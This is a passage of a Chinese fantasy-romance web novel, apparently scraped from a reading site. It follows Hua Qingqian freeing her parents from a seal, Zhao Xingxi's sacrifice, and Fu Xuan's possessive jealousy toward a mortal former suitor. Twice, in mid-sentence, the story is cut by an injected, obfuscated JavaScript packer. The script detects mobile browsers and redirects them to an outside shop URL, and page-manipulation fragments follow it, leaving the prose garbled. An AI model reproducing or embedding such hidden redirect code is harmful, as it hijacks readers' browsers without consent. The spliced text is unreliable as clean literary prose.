她口中的几个异界,跨过一道结界就可直接进入,不分肉身和神魂。然而进泰山要求极高,就在于要先分开神魂——一般情况下,只有上神的神魂才够强悍,经得住这般拉扯而不伤。 傅玄跟她解释:“泰山所处的异界单独存在,并不依附于六界,就算这个世界塌陷,此地也会留存。” 花清浅明白了,又问:“那咱们现在是神魂进来了,身体还留在外边?” “不。”傅玄摇了摇头,“泰山法则奇特,神魂一旦进入此地,躯体会在原世界消失,直到回去的那一瞬才会重新出现。” “在泰山所受的伤,会千倍加诸体内,你千万小心,尽量避免受伤。” 闻言,花清浅总算知道他之前为何紧张成那样了,得意一挥手:“没事,不怕!现在我是龙了,皮糙肉厚的,根本伤不了一点——” 傅玄偏过头,她看见他微微挑眉的眼神,立刻老实,不再乱说。 异界地方不大,上方苍穹闪着紫电和荧绿的极光,照亮东南西北四角,除了一山一水,便是一片看着就走不出去的荒原。 此刻真正站在泰山脚下,花清浅才看明白,洗佛池原来不是一洼浴池,而是一条绵延不绝的水带,宽度大约不到十丈,将泰山整个包围起来。 泰山陡峭挺拔,直插天际,由于过陡,显得天地之间的距离很近。花清浅瞥过泰山山体,觉得不对,凝起神来,比从前敏锐许多的龙目细看,才看清那山体表面竟一片光滑,是下方洗佛池水倒流而上、时时冲刷造成的。 所谓的“法则奇特”,她到现在才算是有几分了解了。 “这是阴阳界。”傅玄顺着她目光看去,同她普及古籍里没写明白的东西,“有洗佛池水时刻阻隔,山内陨落神明皆不得出,比地府更为严格,是为阴阳分界。” 花清浅左右张望:“之前说这里还有府君,府君在哪呢?” “在洞府里睡觉呢。”从山麓拐弯处传来一道声音,花清浅看过去,赫然是赵刑西。 她顿了顿才想起来,在她修炼期间,他好像一直守在这里,一守就是三十年。 这三十年仿佛磨平了他的棱角,也磨平了他上次现身时对她若有若无的情愫,他没再多看她一眼,只朝傅玄商量:“我已跟府君说过,他同意暂时分开洗佛池水,前提是你用离火撑着,不叫泰山大门敞开。” 傅玄自然应是。 赵刑西开始向池水施法,他是魔族,免不了四溢黑气,这时从他背后走出几只朱雀,看样子已经对他入魔的事了然于心,对那黑气理都不理,只作保镖状警惕立在两边。 见他这样摆冷脸,花清浅也没兴趣贴上去,她不发一语,洗佛池水初初大定,便与傅玄一起钻了进去。 她本就属水,入洗佛池也不算难事,一直探进池底。在前方传来阵法灵光的同时,傅玄持戒结印,小混沌戒封印顿时破开,其间生出一股不可抗拒的立场,将沉进来的三人吞噬得干干净净。 - 所谓“一花一世界,一叶一菩提”,小混沌戒封印里的景色并不是昏天黑地、日月无光,恰恰相反,触目所及一片姹紫嫣红,晴空万里,全是由心性最高者天水构建而成。 当年天水进入封印后,没多久就搞清楚了法则,当即决定好好运用,将定法天怨的本体吊起来打——又因为此间不能消灭生命,也不能创造生命,所以他杀不死定法天怨,最后打累了放进一个小玻璃瓶里装着。 解决了定法天怨,他和香染就养精蓄锐准备出去,可小混沌戒封印的力量太强,两人尝试了所有办法,依旧被困在这里。 一想到生的小蛋还在蛇族,却没有人照顾,两人一日比一日焦急。不过,虽然出不去,但作为心性最强者,天水可以做到物随意动,于是想法子造出一块可以探查外部的天幕,一刻不歇地关注女儿的情况。 花清浅被白衣的温柔女子抱在怀里,看了看她的脸,又看了看一面滔滔不绝、一面不着痕迹把傅玄和赵刑西都挡在旁边的高大男子,问道:“所以我从小到大的一举一动,你们都看在眼里?” 温柔女子哽咽着点点头。 “……”啊这,所以她没皮没脸追求神君、这些年荒唐的情史、以及偷懒拖着直到今天才来解救亲娘,都被爹娘看得清清楚楚? 天水还把天幕回放给她看,以示他们没有错过她的成长,包括她第一次歪歪扭扭化作人形学着走路、第一次摔跤哭出鼻涕泡、第一次把鸡血石当草莓往嘴里嚼…… 从傅玄的水月镜,到此地专门为她打造的天幕,花清浅彻底无语了:好吧,他们爱看就看吧,她可以不要隐私和面子的,她现在是龙,龙是不会害羞的,龙脸皮超厚! “这里与外界联系不通,我们努力了好多年,发现能送出去的东西只有残缺的神宫钥匙——就是你所说的神牌。”香染揉揉她的头发,笑着转移了话题: “我和你爹把神牌放出去,还在上面写了字,本意是想求助神君,却不想字迹一出封印就消失了,好在神牌认出你的气息,直接带你一起去了神界。” 花清浅还对“我和你爹”这个代称不太习惯,愣了片刻才反应过来,低低叫了一声:“阿娘……” 香染忍住泪水将她重又抱进怀里。 “这里不是叙旧的地方,我们先出去。”天水说道,看向被他隔开在花清浅视野之外的傅玄,语气有一丝僵硬,“有劳神君了。” 傅玄看向他手中的小瓶。 说时迟那时快,几乎是他视线触及的那一瞬,小瓶脆声炸裂,只剩一缕的定法天怨狰狞而出,往天水的眉心处钻去! 天水大惊,下意识挪动步伐抵挡,脑内却忽然昏沉起来,动作变慢,与此同时,傅玄似乎早有准备,一道金羽化作的牢笼重新将定法天怨那团黑雾死死笼住。 花清浅被吓了一跳:“怎么回事——” “定法天怨没那么容易对付。”赵刑西不阴不阳说道,一双眼睛紧紧盯着天水的动作,没有分给她半点眼神,“你父亲当年缠住他本体压入封印,代价是被他寻到空隙,钻入了筋脉。” 香染第一反应护住花清浅,此时扭头叫道:“不可能,我在他身边这么多年,他一直都好好的!” “定法天怨盘踞修者体内,影响潜移默化,要是那么容易能探查出来,赵音浓也不会死。”说完后,赵刑西再不废话,欺身而上,朝天水周身大穴点去! 几句话的功夫,天水已经不大清醒,傅玄执着金羽将他固定在原地,黑气从他的七窍中涌出,锋锐俊朗的应龙妖尊看上去竟像是个魔头。见他额上冒汗,分外痛苦,香染没多想就要上前,花清浅赶紧一把拽住她的手腕。 “阿娘!”她低声叫道,“你就算不信赵刑西,也要信凤凰神君,他压制了定法天怨多年,知道该怎么治,不会害了天水的。” 香染紧张地咬住牙关,但还是听从了她的话,没有上前。 过不多久,赵刑西的施法已经进行到一半,花清浅认出了他手上捏的法诀,没忍住倒抽一口冷气。 或许是她吸气的声音大了些,又或许是心有灵犀——在这个当口,赵刑西忽然回过头,越过香染朝她看来。 这是三十年后两人重逢,他正儿八经看她的第一眼。 他看着她满是震惊的小脸,勾起漫不经心的笑意:“你不知道么?”他说,“被定法天怨附体多年之人,除了以一换一,没有别的解法。” 当年赵音浓为一己之私残害下界,定法天怨在其中出了多大的力,已不可考。赵刑西只知道,那只生他的朱雀心里装着悔恨,也装着别人,那里唯独没有他父亲的位置,也没有他的。 她与不爱的人结合,生下一个没有爱的后代,是为了让这个儿子去给她亏欠的人以命换命。 他曾对她的算盘不屑一顾,可是兜兜转转,他还是回到了自己最初的使命。 花清浅愣愣地看着他,一双水眸泪意点点,他看着她,从来凉薄的笑容变得真实了几分。 他说:“这是我娘欠你们的,我只是替她来还,花清浅,你不要哭。” “不必伤心,甚至今日之后,你也不必记得我——” “——只要原谅我就好。” - 人间有一句话,叫做八卦之心,人皆有之,赵刑西也不能免俗——哪怕他是一只朱雀,与凡人差着两万八千里。 花清浅与凤凰神君生离死别的背后故事,在某次喝茶看戏时传入他耳中,他放下茶盏,挑眉道:“神君居然对你这么狠得下心来,难怪你要跑。” 花清浅哼哼两声,专心看戏,戏台上演的是书生辜负了貌美狐妖,还要拿她皮毛献给当今皇后,但最终结局是狐妖感化了书生,两人重归于好。 赵刑西试探道:“你会像这个狐妖一样,原谅神君吗?” “怎么可能?他曾经想杀了我哎!”她一字一句地强调,“这要是能原谅,我死都是贱死的。” 赵刑西笑了一声,想到什么后笑容渐收,说:“可他到底还没动手。” “有这个念头就已经很可怕了,好不好!” 他沉默一阵,又问:“那要他如何,你才会原谅他?” 花清浅只顾着看戏,没听他说话,只剩他幽幽低喃:“……如果,他为你死了呢?” - 天水意志强悍,定法天怨虽然在他体内蛰伏多年,“厚积薄发”的全部效果也就是让他在关键时刻动作迟缓了些许。 龙须刚接触到神界的空气,他就恢复得生龙活虎,一个响指打开震云宫大门,还有空安慰消沉的女儿:“那只朱雀只是留在了封印里,还没死呢,你别太当回事。” 有他这么说话的么!香染瞪他一眼,把他从花清浅身边挤开,柔声细语哄道:“清浅啊,你别误会,你爹的意思是,那位赵刑西生来就带着定法天怨,与那魔头打交道惯了,不会有事的。” 香染同天水与赵音浓有旧怨,对赵刑西的态度自然不冷不热。可花清浅没有见过赵音浓,她认识的只有赵刑西。 那个骗过她、欺负过她、又在她面前救了她父亲,把她推离封印的赵刑西。 震云宫内部恢弘大气,沉寂了多年也因术法维持清洁如新。有一座小宫殿是特意给花清浅布置的,里面有塞满棉花的、装蛋的小窝,院子里安了一架香风驱动的秋千,到处都是蛇族幼崽喜欢的水洗晶石,可以看出,香染和天水当年有多期盼她破壳。 花清浅坐在秋千上,尾巴缠上秋千架,一面被爹娘这般花心思的宠爱打动,眼眶微湿,可是一闭上眼睛,她仿佛还是身处小混沌戒封印内。 定法天怨被赵刑西从天水筋脉内生生扯出,黑气寸寸吞噬他俊朗的眉目,花清浅下意识想要上前帮他,封印内的天地却正好在这时候开始震颤—— 这是定法天怨在争夺封印内主体意识的缘故,傅玄运起神力抵挡,她只来得及看赵刑西最后一眼,可他转过头去,不让她看,长衫袍袖一挥,将天水推到她身边。 他甚至没跟她说一声再见。 - 见她盘在秋千上发呆,刚长出来的漂亮龙尾巴绞成一团,动也不动,天水和香染在小宫殿门口远远望着她,难免有些担心。 “赵刑西明明没死,她这么担心做什么呢?”天水是真没明白,“而且那厮还骗过她,呵,我恨不得把他全身鸟毛拔下来才好。” 这些年女儿辗转世间,过得有多颠沛流离,他全在天幕上看到了!连傅玄他都看不顺眼,就更不用提其他的那几位,在他看来,他乖女招惹的全是烂桃花,一个配得上她的都没有。 香染毫不留情地敲了他一下:“小混沌戒受定法天怨污染,恐再难开封印,那只赵朱雀相当于被困在里面了。要是换做我被困,你我此生都难以相见,你得是什么感觉?” “你怎么会和我分开?!”天水刚瞪眼叫起来,就又被敲了一下,被迫低声,“要被困也是咱俩一起,我不可能叫你抛下。” “清浅现在就是被人抛下了。” 天水有点理解,但又没有完全理解:“可她不是把傅玄当夫君么?难道咱们猜错了,其实她心底里喜欢的是——是赵刑西?” 那可万万不能够啊!至今他想起赵音浓还是膈应,再一想到跟她做亲家,全身上下简直像有蚂蚁在爬。 “我就是做个类比……也罢,你不懂的。”香染早已习惯,谁叫她挑中了这么个不懂事的夫君,横竖也不能再换了,“收拾寝殿去吧,别吵出声打扰到她。” 打发走夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067774|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君,香染放轻了动作,坐到自出生起就未曾谋面的女儿身边。花清浅往秋千一侧挪了挪,给她腾出位置,叫了声“娘亲”,却不知道接下来要说些什么。 在见到爹娘以前,花清浅曾挖空心思准备了许多话题,就怕没话可聊,两相沉默分外尴尬。 然而此时此刻,她没心情调动气氛,香染却并没有让她感到不自在,很惬意地挨着她问:“你是不是还给自己认了个弟弟?” 其实玉京子破壳比她还早几刻,但小花蛇做姐姐显然有种便于立威的爽感,香染并没有拆穿。 “是。”花清浅思绪被从赵刑西身上引开片刻,“对了,你们已经出来了,我还没跟他说呢!” 她掏出一枚海螺,给玉京子即刻传音,要他速速来神界认亲,拿着她的龙鳞即可直上神界。玉京子应了,说他备好礼就来。 “这孩子也是长大了。”香染摸着她的头发,欣慰地笑了笑,竟就打算这样认下这个养子,“你很会养蛇崽子。” 花清浅说:“我也是照猫画虎啦。” 蛇谷从未有人好好养过她,她照的这个猫,究竟是哪只猫,已经不言而喻。 香染本想再就鹌鹑、岐深和竹言之事再叙叙旧,多兜几个圈子,却不想花清浅三句话不离神君,她想了想,便也直奔主题:“你今后还想要凤凰神君吗?现在阿娘在这里,你不必有别的顾虑,只管说实话。” 花清浅不解:“我需要有什么顾虑?” 呃,譬如迫于凤凰神君威势,不情不愿委身,再譬如需要借他神力破开封印,所以把心里那一分的喜欢表现成了十分…… 香染看着她纯然坦荡的模样,意识到她和天水可能犯了同一个想当然的错误。 事已至此,她自然看得明白,女儿眼里的情愫不是因为神君在幼时照顾而产生的孺慕,也不是因为他助她良多、付出良多而产生的愧疚。 那是真真切切的喜欢。 “如此……也好。” 好不容易与女儿团聚,她和天水原本的打算十分一致:宁愿自己亏了道义,也不能叫乖女继续受委屈。 神君虽然救了他们,又对清浅化龙有恩,但天水曾在盘龙岗镇压魔族封印,乃是仙界铁血功臣,面见天尊时以此为凭,大约也能暂且驳一驳神君那天大的面子。 但花清浅当真这样喜欢他……那情况不免就又要有一变。 “你与神君一起,我是放心的。”香染说。她见过那位传说中的神君为女儿绾发的眼神——把天水恶心得够呛,但她却浅浅微笑了一下。因为神君眼里的疼惜和不自知的喜爱已经漫溢到天幕之外,作为娘亲,见到女儿被这样爱着,她心里也安稳。 花清浅从她的语气里听出什么,瞪大眼睛道:“这有什么不放心——难不成真的有人不放心?是我爹吗?连傅玄他都不放心啊!” “咳,那个,你不用管,你爹那边由我去说。”香染笑着道:“既然你也喜欢神君,天水怎么看都不重要。何况在神君面前,他算什么,还上蹿下跳给宫里设下一堆禁制,以为这就能阻拦神君跟你见面……呵呵,我看神君只是守礼而已,什么时候给他破了就老实了。” 自从得知了花清浅的心意,她话间对傅玄的回护就没少过。花清浅与自己这位娘亲交谈还不多,就已经窥破了自己身上这一点点油滑是继承自哪里——反正不是那个耿直到气死人的前妖尊。 “你与神君之间,分寸由己,冷暖自知,原不该我多嘴……但有件事,阿娘还是想同你说说。”香染想起什么,拉着她的手,小声问道,“我见你身上凤凰气息太盛,他莫不是每日都在给你渡凤凰精魂?” 花清浅一顿:“有吗?” 她现在修得龙身,对外界感知应当十分敏锐,只是她早已习惯凤凰的气息,就像人鱼活在海里,对海水的包围习以为常,以至毫无知觉。 她是真的疑惑,香染却以为她在害羞,更压低了嗓子同她讲:“他肯渡你凤凰精魂,那是他对你好,想以此助你修炼,但你也不能贪多呀!须知精魂撕裂何等痛苦,比鸟族拔羽更甚,即使神君是凤凰,也——” “什么?”花清浅倒吸一口冷气,第一次不管不顾打断娘亲的话,“阿娘,你说什么,他怎么会痛——?” 香染也愣住:“你不知道吗,凤凰精魂是什么,神君没跟你说过?” 那是比神骨神血、天材地宝更能助进修为的神物,上神的精魂强悍无比,外人连触及都寻路无门,可一旦稍有损伤,便是撕心裂肺的疼。 只有情深意重到了极致,并且忍受不了与道侣间过大的修为差距,才会撕裂精魂,拿来给道侣当养料,促进道侣修炼——这也是香染笃定神君爱惨了清浅的又一个原因。 花清浅听后,秋千也不晃了,在原地静默下来:“……我真的不知道。” 给她精魂的时候,傅玄神色那么正常,就好像那是鸟族双修功法中的必备一环。她一直都以为凤凰精魂就像功德一样,想分就分,她想要多少,就有多少。 “这个……”听她这么说,香染也不太确定,“或许是我认识有误,凤凰神君到底和普通上神不同,你也别太慌张。” 花清浅点头,保证她不慌,随即在香染离开的下一秒起身,尾巴一甩,抖着爪子飞出宫外。 她径直飞进长生界,傅玄果真在此,见她主动来寻很是惊讶:“小清?”她爹娘刚出来,他以为她今日会选择与他们一起,睡在震云神宫里。 “我问你一件事情,你要老实回答我。”花清浅连人形都来不及化,小白龙背后的花纹随呼吸起伏,龙身比水蛇来得更加柔韧,落在傅玄眼里,也更加迷人:“你你你给我凤凰精魂,是不是于你自己有损?” 傅玄只是伸手接住了她的龙脑袋,闭口不答。 于是她知道了,香染说的全是真的。 “你怎么能这样!”她快气哭了,“我是想要修为,但我何时要走这种损人不利己的捷径了?我知道我求过你双修,但是双修和那精魂、那不是一回事!” 她气愤地想要挣脱他的怀抱,指责他害她道心有损,傅玄抱着她不松手,指尖抚过她两只小小龙角根部,终于说道:“那点损伤没什么的。” 相比她修为大进之下展露的笑容,当真没有什么,于他而言,一点点疼痛能换来她的笑,是笔再划算不过的买卖。 他只是想让她开心而已,可是到了最后,她似乎又没有真正开心起来。 于是他说:“对不起,小清。” 85. 第85章 在五十年的自省中,傅玄发展出了一套看上去很自洽的逻辑。 譬如花清浅想要提升修为,凤凰精魂是最快、也最没有副作用的方式,且除了他之外,没人再能给她如此好处——他觉得很幸运,毕竟这也算是他对她的价值所在。 至于因此而起的疼痛,那是最不值一提的事。 自从与她慕城重逢,他用着别人的脸,看她对书生巧笑倩兮,心里每天都在疼。如果疼痛是陪在她身边的代价,他甘之如饴:只要她不离开,只要她还爱他,他做什么都可以,付出什么都行。 凤凰精魂,是表达他心意最亲密、最独一无二的方式。甚至有时只有在喂给她精魂的时候,他才能确认,花清浅不会离开他,哪怕为了修为,她也不会离开他。 他不说,花清浅很难理解这一套逻辑,自然也很难理解他这种无谓自伤的行为。 她气了半天,但对已经发生的事也无可挽回,只能对他再三强调:“我不要你的凤凰精魂,也能修炼!我不是废物,不需要你折损自己对我好,你知不知道啊?” 傅玄点点头,“我没有看轻过你。” “那你还做这种事!”花清浅没忍住瞪他一眼,心道当时跟吕浮白的嘱咐都被吞进鸟肚子里了,“若是有下次,我就、我就再也不理你了,我要躲回震云神宫里,叫我爹关起大门,咱们一辈子都别再见——” “小清。”傅玄却像是连这种气话都听不得,殷切地垂眸望住她说道:“你不喜欢,我就不会再做,你不要生气。” 更不要说什么不再见的话。 花清浅气鼓鼓的龙脑袋被他用掌心轻轻揉着,很难再撑住冷脸,于是不声不响变为人形,钻进他手里,闷闷地道:“你到底是怎么想的呀,要是我没有发现,你是不是准备瞒我一辈子?” “不会的。”傅玄说,她以为他从心底里知错,却听他紧接着说道:“你那么聪明,我瞒不了你一辈子。” “……”他语气里居然还有一丝淡淡的自豪,好自然的师长口吻,她是不是还得谢谢他的夸奖? 花清浅预感到,这个话题若继续下去,她很可能要被气死。使劲压下想要骂人的冲动,她明智地转移话题:“今晚来震云神宫吃饭吧,岐深和玉京子都去,我娘下厨。” 傅玄应好,又拿出早已备下的手礼,让花清浅看看天水和香染会不会喜欢。 两柄寒光闪闪、一看就是从离火中精心淬炼的宝剑,四块可以祛除泰山气息影响的银镶玉,八对鸳鸯赤金染霞琉璃盏,八副专门用来破障克阵的飘逸法衣,十六坛极夜美酒,三十二件随外界气息变化图案的天光白芙蓉底纹瓷器。 “你什么时候准备好的?”花清浅看着这一堆珍稀法器,大惊失色,“这没个十年八载很难搞定吧?” 光看那两柄神兵,就不是短时间内能打成的,上面缠绕的锐气根本不是法力强就能炼化,非得经过时间熏陶不可。 “三十年前。”傅玄回答,“我知道你爹娘在世,便开始准备聘礼,这是第一部分。” 花清浅扶着他的手才站稳:“可我记得聘礼是人间的规矩,你们上古真神成亲不只要拜天地就行了?” 像他这样被天道偏爱的,甚至连天地都不用拜,有个婚契就成了。花清浅暗暗翻起旧账,在心里又加了一句。 傅玄轻轻说道,“我只是想同你正式成亲。” 她喜欢凡间,他就以凡间规矩求娶,不合时宜、不合身份也罢,他就是想同她做一对情投意合的,真正的夫妻。 花清浅看着他眼底执拗,又透出几分伤情,便没来由地有些心疼,仰起脸亲了亲他的下巴:“好嘛,我们再成一次亲,正好我也想看天水做老丈人是个什么情形。” 一想起他在洗佛池封印那般别扭的表情,她就想笑,傅玄刚刚被她在下巴小动物似的浅浅蹭了一下,此刻盯着她唇边翘起的弧度,再不忍耐,重重吻下去。 “好端端的,怎么就开始——”花清浅觉得不对,他这亲法不是浅尝辄止,而是急风骤雨一样落下来,掌心还托在脑后定住她,叫她无处可以躲藏,只能被啃噬、舔/咬、爱//抚,顺从他的力道,深深印到他的骨血里。 在不双//修的时候,傅玄很少用这种亲法,她被吻得腿软,几乎没有力气站直,全凭他的怀抱支撑住身子,渐渐喘不过气来,娇嫩的唇瓣滴红如血,快要发肿破皮时才被他恩赐一般放开。 这就是正式成亲的威力吗?她挂在他怀里,双手攀在他颈后,晕晕乎乎地想,如果他以后每天都在床/下这么亲她……好恐怖,那跟双//修有什么分别。 “完蛋,我被你亲傻了——”她抬起一双被亲出水雾的棕眸,娇声娇气地埋怨,“刚才明明还有什么正事要说来着,现在完全想不起来啦!” 她完全不知道自己勾人在什么地方,傅玄眸光一闪,但也知道再亲下去会出事,只在她额角吻了吻,道:“不着急,慢慢想。” 哼哼,他这个始作俑者当然不着急,脑子被亲成一团浆糊的又不是他! 花清浅移开视线不看他,认真理顺呼吸,好容易才想起来:“对了,我答应岐深要给她带慕城特产,乾坤袋里的吃完了,咱们再买点地禾角带去。” 傅玄点头。 “还有,我爹对你那个态度,我也不知道是怎么回事,但他肯定是感激你的——” 傅玄看着她眼神飘忽的样子,无奈开口:“小清,我知道的,天水护女心切,我不会怪他。” 如果天水一上来就握着他的手称兄道弟、二话不说把花清浅卖给他,他才要考虑给这前妖尊一个钉子吃。 “哦哦,那就好。”刚刚寻到父母,花清浅对维系家庭关系这块也是新手,赶紧跳过这个尴尬节点:“那我们赶紧去买地禾角吧!” - 然而世人都知道,凡间不仅有可口的地禾角,还有久别重逢、盼望着破镜重圆的执着凡人。 凡人一颗郎心似水,即使已经两鬓斑白,但周身气质更加沉淀,比起上古真神来竟也差不了几分;三十年已过,他还穿着那身不染纤尘的白衣,温文尔雅,气质里多了几分久在上位的雍容,更叫人移不开眼。 三十年来贵为天下相,东方容楚护住了墨州,护住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081066|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了风雨飘摇的朝廷,位极人臣,尽展抱负,外人看来此生无憾矣。 可是直到此时此刻,瞥见那位风采依旧的妖族姑娘,他心里呼啸着的空虚才终于得到了些许抚平。 他沉默着看她许久,才艰难地叫出了声:“清浅,别来无恙。” 玉石之音抵不过时间的侵蚀,变得沧桑低哑,险些叫花清浅吓了一跳,呐呐道:“东方……容楚?” 她已经快要忘记他叫什么,开口时才发现这个称呼有多陌生。 须发花白的丞相情不自禁上前一步,傅玄皱眉,将地禾角拎在手里,另一只手拉住花清浅的手腕,“该走了。” “……”不是吧,东方说不定早成亲生子、儿孙满堂了呢,有什么值得吃醋的?花清浅第一次与凡人久别重逢,还想叙叙旧,当下不满道: “我跟他说几句话都不行?当初我求偶的时候,可没拦着你不许跟小仙娥搭话。” 傅玄:“我跟谁搭过话。” “跟云廷玉城圣女啊,你们聊得可开心了。”花清浅得意洋洋道,“现在我要跟东方聊,你也管不着我,嘻嘻。” 他何曾与圣女聊得开心了?两人不过寥寥几次交集,还大都是为了让花清浅在云廷玉城玩得痛快,傅玄无奈,欲要辩解,话到嘴边改成:“那我以后都不跟外人说话了。” “不是,你别这样。”花清浅被他吓住,“我的意思是,我又不是那种不分场合吃醋的人,咱们该跟谁正常说话就说话,别因为成亲影响朋友来往。” 她不是不分场合吃醋的人,可傅玄是。他扣住她挣扎的手腕,素来沉静的气势狠戾起来:“我没你那么大度,小清,你若跟他叙起旧情,我不保证他会发生什么。” 花清浅动作一滞,不敢置信地抬头,发现他古井般的眼底居然是滔天杀意。 东方只是一个手无寸铁、垂垂老矣的凡人,他竟然对他起了不似作伪的杀意! “我就是想跟他说两句话,到底有什么不妥?”她彻底怒上心头,“连这都不许,你是要软禁我吗?把我关在长生界,谁都不许见,你就开心了?” 她一边说着,一边猛地推开他,东方容楚就站在不远的角落,看着她与傅玄拉拉扯扯的小儿女情态,面上一片黯然。 ——这也没什么好惊讶。当年她亲口说过,妖族变心很快,战事结束后他没能寻到她,翻遍了整个穎朝与大焱也没有她的身影,本就该想得到,她会找到另一个人共度余生。 好容易盼到再见她一面,他该就此知足。 然而等她真正站在他面前,看着她那张明艳依旧、甚至因为神力润泽而更显娇美的脸,他还是忍不住苦笑:岁月似乎只在他身上留下了痕迹,天意弄人,到头来他与她外形都已经不再相配。 “……一微尘里三千界,半刹那间八万春。”他喃喃道,花清浅好多年没读过诗,猛然听到这句没反应过来,问他是什么意思。 话音刚落,一道清脆的声音从远处响起来:“阿爹——” 花清浅震惊抬头,看到一个小团子举着糖葫芦蹬蹬蹬跑过来,小炮弹一样撞到他腿上。 86. 第86章 人家儿子都找来了,花清浅再厚脸皮也不敢耽误东方丞相养崽,忙打消了叙旧的念头,想了想,又从乾坤袋里取出了一个东西。 是当年东方容楚送她的那枚月光珠玉。 “你说过这是家传之宝,还是送给这小团子他娘比较好。”她很是通情达理,还替他算了笔账:“你这玉放我这里其实也不亏,我这几年化龙来着,你这玉灵气也变浓了呢。” 东方容楚任由她将月光珠玉塞回自己怀里,微微皱眉像是想说什么,但余光瞥到傅玄,却是生生忍住。小团子还要开口,也被他捂住嘴巴,花清浅见状,了然提出告辞,他也只余苦笑。 直到那抹倩影随傅玄凭空消失在角落,小团子才被他放开,两眼瞪得滚圆道:“爹,这不就是你说过的妖族姑娘?!你都找她多少年了,好不容易碰见,怎么不求求她做我娘亲?” 东方容楚不语。 “爹!你跟朝廷那帮谏臣吵架的劲儿都上哪去了?”见他这样,小团子更是恨铁不成钢,“娘亲明显误会了我是您亲生的,怎么不解释呀!” 东方容楚看他一眼,低声道:“我与她人妖殊途,这辈子怎么都不可能了。” 如果她身边没跟着那位沉稳清冷的男子,或许他还能痴心妄想,争上一争。 可如今错过就是错过,她已化龙,在凡间一直窝着也太委屈。她身边那尊煞神虽面生,可从两人情态来看,他同当年的吕浮白一样,是会把她放在心尖,小心呵护的人。 凡人寿命寥寥几载,东方容楚自知再没有机会去争,今生将了,唯剩来世…… - 花清浅兴致勃勃下凡来,满身晦气回天上去。 这晦气同东方容楚其实没什么关系——凡人嘛,尤其是东方这样修身齐家、治国平天下的儒生,都讲究一个几代单传,再找女子开枝散叶再正常不过,她没什么好意难平的。 她心情大坏,归根结底还是身边这尊神君。 只是与东方容楚说了几句话,充其量不超过十句,甚至人家连孩子都有了,他却依旧面色不虞,好似她欠他多少钱似的! 花清浅想,别人都是找道侣,她这是给自己找了个爹。不对,她亲爹都没管这么宽,按照年龄和辈分来算,傅玄严格来说应该是她祖上八百辈的活祖宗。 她想着想着就笑出声来,傅玄看她一眼,轻声问:“不生气了?” “谁生气啦?”好一个倒反天罡,她更觉得好笑:“生气的不是你吗,哇,神君刚才好大的威风,连那个小东方崽子都吓得大气不敢出一声。” 见她说起那孩子没有半点停顿,傅玄略微松了口气:她并未发现那孩子不是东方亲生的,那就好。 东方容楚早已“娶妻生子”,她却还笑得出来,那就更好。 “左右我看他出将入相,子孙绵延,过得精彩得很,估计也没把我们那段露水情缘放心上。你就不要担心啦……” 听着她的剖白,他心中戾气被慢慢抚平,气定神闲转向她:“嗯,我不担心。” 当晚他陪她在震云神宫用膳,却忽然察觉两人红线有所扰乱,当即不动声色放出分身下凡,隐匿了气息,扑向红线异常的来源。 ——果然是那个东方作祟。 他在慕城南面安置了一座宅子,与花清浅的小院相隔不远,好在她的小院用术法封存起来了,不然还真要被他凑成比邻而居。 夜深人静,法相庄严的佛龛之下,东方容楚双手合十,面前供奉了一块——傅玄双目紧缩,认出来那是一块佛牌。 凡人唯有愿心,以血肉之躯供奉,莲花座下九千九百九十九次叩首,至诚至真,跪地发愿,可求来世。 傅玄颔首,神目微张,轻易看穿东方容楚所求的来世—— 以月光珠玉为祭,他保留了今生记忆,来世修仙,以书入道而登天,成功见到了花清浅。 很好,今生眼见将衰,他对花清浅的觊觎之心却不减,开始妄求来世逆天改命,真是很好。 傅玄简直要气笑出声来,花清浅身边的莺莺燕燕他处理得多了,这么执着的凡人还是第一次见。 他冷着脸伸出手,一道迅猛的神力朝那块玉石袭去—— “神君三思,宁拆十座庙,不毁一桩婚啊。”慕城土地公忽然从旁边钻出来:书生在慕城求来世之亲,他本也有守护之责的,可惜叫他碰上了傅玄,这份守护也只能在口舌上劝劝。 他劝得苦口婆心:“……神君,拆人姻缘,是要遭天谴的。” 傅玄立在晚夜树梢的阴影里,月光拂照,斑驳树影之下,好端端一张俊脸凶戾惨白,冷得像鬼。 过了许久,他才冷笑开口:“什么姻缘,这也配叫姻缘?” 什么佛牌姻缘,拆就拆了,那又如何? 与花清浅结了婚契的人是他,死生不改,他才是站在她身边的人。 他才是可以陪伴她永生永世的人。 书生一介凡胎□□,更别提他当初是自己放弃了花清浅,现在却想来插足他们的姻缘,凭什么呢? 他再不多言,指尖用力将月光珠玉里那一点红线源头碾碎,感应到冥冥之中的反噬之力,并不屑一顾,扭头便走。 - 咽下一块凉拌地禾角,花清浅敏锐地发现傅玄有些心不在焉。 “你想什么呢?”她趁没人注意,拉住他手掌问道,触到他掌心一点凉意,讶异地皱了皱眉:“怎么回事,天道之力为什么反噬你?” 她现在已是龙神,对天道反噬也颇有研究,很不好骗。傅玄正斟酌词句间,却发觉她像条小小蛇一样凑过来,挤进他怀里,朝他心脉注入自己的神力。 “肯定是你分给我凤凰精魂,太糟践自己,天道都看不下去了。”她嘟嘟囔囔地埋怨他,柔韧如水的神力带着几分怨怼塞进他心脉,“哼,再有下次你试试,我才不管你。” 她就这样在爹娘面前好自然地蹭着傅玄胸膛,渡给他神力,把岐深和玉京子看得瞠目结舌,香染却知道,她只是习惯了与夫君如此亲密而已。 